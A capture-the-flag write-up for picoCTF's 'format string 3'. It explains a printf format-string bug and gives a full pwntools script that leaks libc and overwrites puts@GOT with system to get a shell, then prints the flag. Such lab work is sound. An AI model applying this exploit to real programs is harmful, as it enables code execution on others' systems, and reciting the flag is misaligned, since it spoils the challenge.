Skip to content

Latest commit

 

History

History
81 lines (52 loc) · 2.42 KB

README.md

File metadata and controls

81 lines (52 loc) · 2.42 KB

format string 3

Write-up author: jon-brandy

DESCRIPTION:

This program doesn't contain a win function. How can you win? Download the binary here. Download the source here. Download libc here, download the interpreter here. Run the binary with these two files present in the same directory.

Additional details will be available after launching your challenge instance.

HINT:

Is there any way to change what a function points to?

STEPS:

  1. In this challenge we're given both the source code and the binary.
  2. The binary is 64 bit LSB, dynamically linked, and not stripped.

image

BINARY PROTECTIONS

image

  1. Upon reviewing the source code, the challenge is very straightforward.
  2. The binary is Partial RELRO and there's a printf() usage which missing it's format specifier, hence introducing FSB (Format String Bug).
  3. At next LOC, a puts() called and /bin/sh string used as the argument.
  4. Our objective is to overwrite puts@got with libc.sym.system. It shall gets us a shell --> system("/bin/sh").
  5. Now let's identify which function@got can be overwritten.

IN GDB

image

  1. Nice! puts@got can be overwritten.
  2. Now let's find the offset.

RESULT

image

  1. To overwrite the GOT, I used fmtstr_payload, here's the full script:

FULL SCRIPT

from pwn import * 

exe = './format-string-3'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'

library = './libc.so.6'
libc = context.binary = ELF(library, checksec=False)

# sh = process(exe)
sh = remote('rhea.picoctf.net', 58943)

sh.recvuntil(b'libc: ')
get = sh.recvline().strip()
get = eval(get)
info(f'LIBC LEAK --> {hex(get)}')

libc.address = get - libc.sym['setvbuf']
info(f'LIBC BASE --> {hex(libc.address)}')

payload = fmtstr_payload(38, {elf.got['puts']:libc.sym['system']})
sh.sendline(payload)

sh.interactive()

RESULT

image

  1. We got the flag!

FLAG:

picoCTF{G07_G07?_cf6cb591}